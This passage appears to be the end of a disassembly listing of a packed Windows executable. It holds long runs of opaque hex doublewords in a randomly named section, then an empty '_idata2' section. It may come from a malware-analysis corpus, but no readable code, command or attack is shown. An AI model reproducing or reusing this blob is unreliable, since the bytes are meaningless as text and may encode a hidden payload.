61B380D5h, 0C345EEA8h, 0CC45DEF1h dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h, 38607A3Bh dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h, 7F61EC1h dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h, 63B948Dh dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah, 0A2216383h dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh, 0C3ED43F2h dd 30537AAh, 4D859BCFh, 671A2FB3h, 498E60BAh, 415A01ECh dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh, 2DEA92ECh dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h, 671494A3h dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h, 0CBEA932Eh dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h dd 22A6BB07h, 139BCC8h, 43FEF56Ah, 4FCA07D6h, 9791CB31h dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h, 0E6A0B21h dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h, 827BC52Ah dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 0ACE37A62h, 185A2B4Fh dd 0E354D818h, 14D1F972h, 29BA1313h, 5916B748h, 0EC1E1AAFh dd 8134CB8Eh, 85215F18h, 0E252CCC8h, 5391E1D8h, 0AC34868Ch dd 8FD5AD75h, 0E28D911h, 2F0A3936h, 468ADB64h, 0D49F1877h dd 8A71B035h, 95FA626Eh, 5BFC05FBh, 35D6DD58h, 0D56A1BBCh dd 0BA7A8B9Bh, 1B7B3108h, 0EA39FBB2h, 0AAE3BA12h, 74B0BFF9h dd 0DE733667h, 0ED44FE73h, 0C169C841h, 9EB14004h, 4B588081h dd 0C54B45D4h, 0E836CD05h, 44F22F21h, 9C7E2550h, 6F588958h dd 908F2B34h, 994275F4h, 917AB750h, 0DBA08371h, 516B5C02h dd 1685F353h, 0E640B716h, 1B0CD79Dh, 0E8855899h, 840314D3h dd 0A978B053h, 0C607CFE8h, 45079835h, 37A8698Bh, 0AB3332D8h dd 2BE2AFF0h, 8C8E8F19h, 4A178469h, 8F65ED31h, 0B4F174BFh dd 378831FBh, 5495B64Bh, 595E630Ah, 0F2833E68h, 0D1FAAF06h dd 0B14677F7h, 76EA8DA1h, 4F8225CBh, 24F44DFAh, 0C9E3EC35h dd 0A5124204h, 0ADC60E0Fh, 0F8F2B960h, 276E3C5Dh, 0CCD4F188h dd 0DF266E28h, 0B1AFC421h, 0B3A2FCFEh, 74191376h, 606B0CEBh dd 0ADFADC8h, 2F6B3B4Ah, 5C2CCFB0h, 60707DC7h, 0F1FF7DE3h dd 0F50EA7C8h, 0E7D04E0Fh, 644B8162h, 16E1495Ch, 1D1AC576h dd 98CA9740h, 77D02F47h, 0B06494CBh, 0F4078D9h, 0F19F42B0h dd 0C1E4CFF2h, 0EB68D647h, 0AFC7BA74h, 5A9F567Bh, 0DD19E297h dd 5B70FEFFh, 0BE2AA7F1h, 0FE22FBD2h, 0B4AEAF12h, 9218B367h dd 0DC907E52h, 6E912383h, 35103D93h, 40207049h, 0D60F349Bh dd 44040621h, 0B19FFEDFh, 0F144BE64h, 647DB578h, 126B239Dh dd 0F48D7CCAh, 0CE2D4AD7h, 9EA69174h, 0F46F88CEh, 0A3212CD8h dd 17131D8h, 36ED5049h, 73BC637Fh, 7204D405h, 0AE70409h dd 16A747DAh, 9086EE94h, 0EC87A4F9h, 0E2B2709h, 28C6412Ah dd 59BE588Dh, 0CE5FBAD2h, 0CAE935D1h, 0CE9BFE07h, 0E58D56CEh dd 848ECFFAh, 0FC403FFFh, 0B0C7C233h, 4323E3E9h, 74C6F94Ah dd 8094BEF7h, 0C4220928h, 22BEF61Fh, 138A64Fh, 6A006B23h dd 0FAB71623h, 55E80945h, 5DD5A183h, 0CF1AE5A1h, 977B991Bh dd 51D8A1D9h, 0F62134DDh, 0B049BA1Ah, 53A33A7Fh, 846D0667h dd 783B72DFh, 0E8625A83h, 0C36F7CF4h, 83A1E53Fh, 0DA5D2D28h dd 8F32B392h, 102EBDABh, 0E3D7977Eh, 70FBA2F7h, 4FFD00EDh dd 0FF7F97BFh, 780AFC14h, 0EB1E0AAEh, 3015C618h, 0E133AB6Ah dd 45A3EAA4h, 211B4ADEh, 0CE11F270h, 78F7ADC4h, 34FEA2ABh dd 1FDA7413h, 8CCFC617h, 291EAEE0h, 222745DDh, 0F39E5829h dd 0EFB2C461h, 0F21FBCF3h, 31E230CEh, 943B5B54h, 7C46EF3Fh dd 0EFE5FA6h, 5B994FEAh, 3DB087A8h, 8088FD43h, 0D0FFBF37h dd 8ADA8B85h, 7530DD03h, 0E05CC639h, 2ADA868h, 0BD0ABF93h dd 0ED611080h, 0D64E9F21h, 0E3895F97h, 2F098817h, 0DA7C14E9h dd 36E14E13h, 2E17D663h, 17FB70EBh, 71BDA50Ch, 53FA8316h dd 43C4B7A3h, 34E8E3B8h, 121E30D1h, 0CF65C81Ch, 2E9B693Fh dd 71F14D08h, 904495C4h, 5EF1B9C5h, 88855CC0h, 0A5928CFBh dd 0E9F45750h, 0FDB327D3h, 87DC4A4Fh, 0C9DC695Fh, 10A2064Fh dd 60252C8Ch, 0F1DC2DCDh, 24368B52h, 1800AAEAh, 0A57CD81Ch dd 523E4658h, 516873F2h, 8CC25D8Ah, 791D97B0h, 4EAB6339h dd 379830Dh, 0A62CC4D3h, 1D7A828Eh, 0CD6D02D5h, 20F89955h dd 0A46EC6AAh, 0C455B22Ah, 11782D5Ch, 0A79471FBh, 3AE45CCEh dd 2BE376DEh, 130EB3D2h, 0BB9E23B2h, 4AD2C81h, 8690B826h dd 64EB517Dh, 21925532h, 124F1C68h, 0C233AD7Dh, 0AB8496E8h dd 94495384h, 0D524C18Eh, 8B019B54h, 6813984Fh, 0F217332Ch dd 0AFD2B03Fh, 48090FEDh, 346E2377h, 0DBA27472h, 8764F889h dd 6550F505h, 0AA5D3ED9h dd 4847FCC5h, 0E8CDCA97h, 0ADB1E92h, 80451E85h, 0E2178FA1h dd 5136DB4h, 35E4BD89h, 1F81C296h, 71147437h, 9EC09C19h dd 0B140E2B1h, 618421F0h, 7EEC4ADDh, 0FACF31C4h, 0C64DF00Fh dd 0D6A7DC44h, 0CEE4758Ah, 62798CF9h, 0AA0EA062h, 140245DEh dd 75AC71EDh, 2F72FF43h, 53EC9A87h, 8A975A1Fh, 89350055h dd 63F6F9C8h, 0A0088293h, 0ED5714BFh, 820F2A15h, 0E94A7BF2h dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h, 98463091h dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh, 0E16F4710h dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh dd 28B15CE5h, 630DFC4h, 0ADA8254Eh, 8F620C86h, 0D77EFC27h dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h, 0FA8F4A18h dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh dd 5038251h, 7B0DEAB7h, 0E3E9F06Ah, 7976E2D6h, 0C6D3C268h dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh, 0A2CCC15Fh dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h, 0C5065672h dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh, 0D06508ACh dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah, 379F5EF4h dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h, 6C7832E0h dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh, 0D77C7A43h dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh, 212EF5ACh dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh, 6CD30D2Fh dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h, 2731E956h dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh, 280D01A5h dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h, 344DE17Dh dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh, 90599F6h dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h, 764E19BDh dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh, 8074904Fh dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h, 723AB421h dd 41430C2h, 1E06090Eh, 0C965894Ah, 0CFDC09h, 58EF533Fh dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh, 0D14AD342h dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch, 7E05DCA7h dd 128C10E2h, 332EAB2h, 6B9F5826h, 46F74Ch, 5FE0CA8Fh dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h, 26C29DB4h dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h, 6F32EEADh dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h, 3711477Bh dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h, 44B56433h dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h, 5688B078h dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h, 0E3F0BE4Ch dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h, 31C19942h dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h dd 570C22Eh, 32D80EA2h, 5FE32BFCh, 0C346F48Ch, 0CE4C0B17h dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h, 55E5B37Dh dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h dd 0A07D1Dh, 27C6D88Eh, 0D17DF339h, 4F2BCD19h, 0B74705CDh dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h dd 1E18625h, 0B6C70975h dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh, 0CB5F36C6h dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh, 30982E0Ch dd 7C98E55h, 31FDB645h, 57E8D180h, 0F951C3BEh, 90E96F3Fh dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h, 39D167C2h dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h, 0EE8541DFh dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h, 0CA9947C2h dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h, 1879191Eh dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h, 0F5E39D90h dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah, 1048BE9Eh dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh, 0DD523383h dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh, 0AB740168h dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h, 0B0A16A33h dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h, 514F8A4Eh dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h, 3D8B4B64h dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h, 10D144AEh dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h, 7BD451F1h dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h, 0C00180CEh dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h, 0AA733C2Dh dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh, 0EBB44DF4h dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h, 4EBC7A58h dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h, 80700ABEh dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h, 0AC1630C0h dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh dd 0C3E57Fh, 133h dup(0) _0niaacah ends ; Section 7. (virtual address 0004F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0004F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 44F000h align 2000h _idata2 ends end start